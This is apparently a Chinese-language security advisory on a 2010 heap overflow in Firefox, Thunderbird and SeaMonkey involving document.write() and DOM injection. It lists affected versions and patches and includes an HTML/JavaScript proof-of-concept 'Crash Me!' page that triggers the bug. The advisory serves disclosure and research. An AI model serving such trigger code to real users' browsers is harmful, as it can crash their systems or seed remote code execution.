Mozilla Firefox document.write()方式堆溢出漏洞

受影响系统:

Mozilla Firefox 3.6.x
Mozilla Firefox 3.5.x
Mozilla Thunderbird 3.1.x
Mozilla Thunderbird 3.0.x
Mozilla SeaMonkey < 2.0.10

不受影响系统:

Mozilla Firefox 3.6.12
Mozilla Firefox 3.5.15
Mozilla Thunderbird 3.1.6
Mozilla Thunderbird 3.0.10
Mozilla SeaMonkey 2.0.10

描述:
Firefox是一款非常流行的开源WEB浏览器。

在启用了JavaScript的情况下,Firefox的document.write()方式处理结合DOM注入可能触发堆溢出。攻击者可以通过nsCSSFrameConstructor::ContentAppended、appendChild等方式触发这个漏洞,导致完全入侵用户系统。

<*来源:Morten Kr&aring;kvik
  
  链接:
http://secunia.com/advisories/41957/
        http://www.mozilla.org/security/announce/2010/mfsa2010-73.html
        https://bugzilla.mozilla.org/show_bug.cgi?format=multiple&id=607222
        https://www.redhat.com/support/errata/RHSA-2010-0812.html
        https://www.redhat.com/support/errata/RHSA-2010-0810.html
        https://www.redhat.com/support/errata/RHSA-2010-0809.html
        https://www.redhat.com/support/errata/RHSA-2010-0808.html
*>

测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

<html><body>
<script>
  function getatts(str){
    var cobj=document.createElement(str);
    cobj.id="testcase";
    document.body.appendChild(cobj);
    var obj=document.getElementById("testcase");
    var atts = new Array();
    for(p in obj){
      if(typeof(obj[p])=="string"){
        atts.push(p);
      }
    }  
    document.body.removeChild(cobj);
    return atts;
  }

  function crashme() {
    var tags = new Array("audio", "a", "base");
    for (inx = 0; inx < 0x8964; inx++) {
        for (i = 0; i < tags.length; i++) {
            var atts = getatts(tags[i]);
            for (j = 0; j < atts.length; j++) {
                var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] +
                           ">" + tags[i];
                document.write(html);
            }
        }
    }
  }
</script>
<button onclick="crashme();">Crash Me!</button>
</body></html>

建议:

厂商补丁:

Mozilla
——-
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.mozilla.org/

RedHat
——
RedHat已经为此发布了一个安全公告(RHSA-2010:0808-01)以及相应补丁:
RHSA-2010:0808-01:Critical: firefox security update
链接:
https://www.redhat.com/support/errata/RHSA-2010-0808.html

发表评论?

0 条评论。

发表评论